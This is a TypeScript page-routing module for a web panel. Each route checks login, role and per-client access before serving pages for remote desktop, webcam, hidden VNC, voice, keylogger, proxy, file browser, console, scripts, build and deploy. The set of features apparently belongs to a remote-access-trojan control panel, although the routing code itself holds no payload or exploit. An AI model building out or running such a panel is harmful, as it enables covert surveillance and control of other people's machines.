import { authenticateRequest } from "../../auth"; import { requirePermission } from "../../rbac"; import { canUserAccessClient, getUserById, type UserRole } from "../../users"; type PageRouteDeps = { PUBLIC_ROOT: string; secureHeaders: (contentType?: string) => Record; mimeType: (path: string) => string; }; async function serveLoginOrUnauthorized(deps: PageRouteDeps): Promise { const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`); if (await loginFile.exists()) { return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) }); } return new Response("Unauthorized", { status: 401 }); } async function serveChangePasswordIfRequired( deps: PageRouteDeps, userId: number, ): Promise { const dbUser = getUserById(userId); if (dbUser && dbUser.must_change_password) { const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); if (await changePassFile.exists()) { return new Response(changePassFile, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")), }); } } return null; } export async function handlePageRoutes( req: Request, url: URL, deps: PageRouteDeps, ): Promise { const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => { if (!clientId) return false; return canUserAccessClient(userId, role, clientId); }; if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) { const authed = await authenticateRequest(req); if (authed) { const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId); if (maybeChange) return maybeChange; } const filePath = authed ? "/index.html" : "/login.html"; const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) }); } } if (req.method === "GET" && url.pathname === "/change-password.html") { const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) }); } } if (req.method === "GET" && url.pathname === "/remotedesktop") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } const clientId = (url.searchParams.get("clientId") || "").trim(); if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) }); } } if (req.method === "GET" && url.pathname === "/webcam") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } const clientId = (url.searchParams.get("clientId") || "").trim(); if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) }); } } if (req.method === "GET" && url.pathname === "/hvnc") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } const clientId = (url.searchParams.get("clientId") || "").trim(); if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) }); } } if (req.method === "GET" && url.pathname === "/voice") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } const clientId = (url.searchParams.get("clientId") || "").trim(); if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) }); } } if (req.method === "GET" && url.pathname === "/metrics") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) }); } } if (req.method === "GET" && url.pathname === "/logs") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; try { requirePermission(user, "audit:view"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) }); } } if (req.method === "GET" && url.pathname === "/notifications") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("notifications.html")), }); } } if (req.method === "GET" && url.pathname === "/users") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; if (user.role !== "admin") { return new Response("Forbidden: Admin access required", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) }); } } if (req.method === "GET" && url.pathname === "/user-client-access") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; if (user.role !== "admin") { return new Response("Forbidden: Admin access required", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/user-client-access.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("user-client-access.html")), }); } } if (req.method === "GET" && url.pathname === "/settings") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; const file = Bun.file(`${deps.PUBLIC_ROOT}/settings.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("settings.html")) }); } } if (req.method === "GET" && url.pathname === "/build") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role !== "admin" && user.role !== "operator") { return new Response("Forbidden: Admin or operator access required", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) }); } } if (req.method === "GET" && url.pathname === "/plugins") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role !== "admin" && user.role !== "operator") { return new Response("Forbidden: Admin or operator access required", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) }); } } const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/); if (req.method === "GET" && consolePageMatch) { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } if (!canAccessClientPage(user.userId, user.role, consolePageMatch[1])) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) }); } } const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/); if (req.method === "GET" && filesPageMatch) { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } if (!canAccessClientPage(user.userId, user.role, filesPageMatch[1])) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) }); } } const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/); if (req.method === "GET" && processesPageMatch) { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } if (!canAccessClientPage(user.userId, user.role, processesPageMatch[1])) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) }); } } const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/); if (req.method === "GET" && keyloggerPageMatch) { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } if (!canAccessClientPage(user.userId, user.role, keyloggerPageMatch[1])) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) }); } } const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/); if (req.method === "GET" && proxyPageMatch) { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } if (!canAccessClientPage(user.userId, user.role, proxyPageMatch[1])) { return new Response("Forbidden: Client access denied", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) }); } } if (req.method === "GET" && url.pathname === "/scripts") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) }); } } if (req.method === "GET" && url.pathname === "/deploy") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } if (user.role !== "admin") { return new Response("Forbidden: Admin access required", { status: 403 }); } const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) }); } } return null; }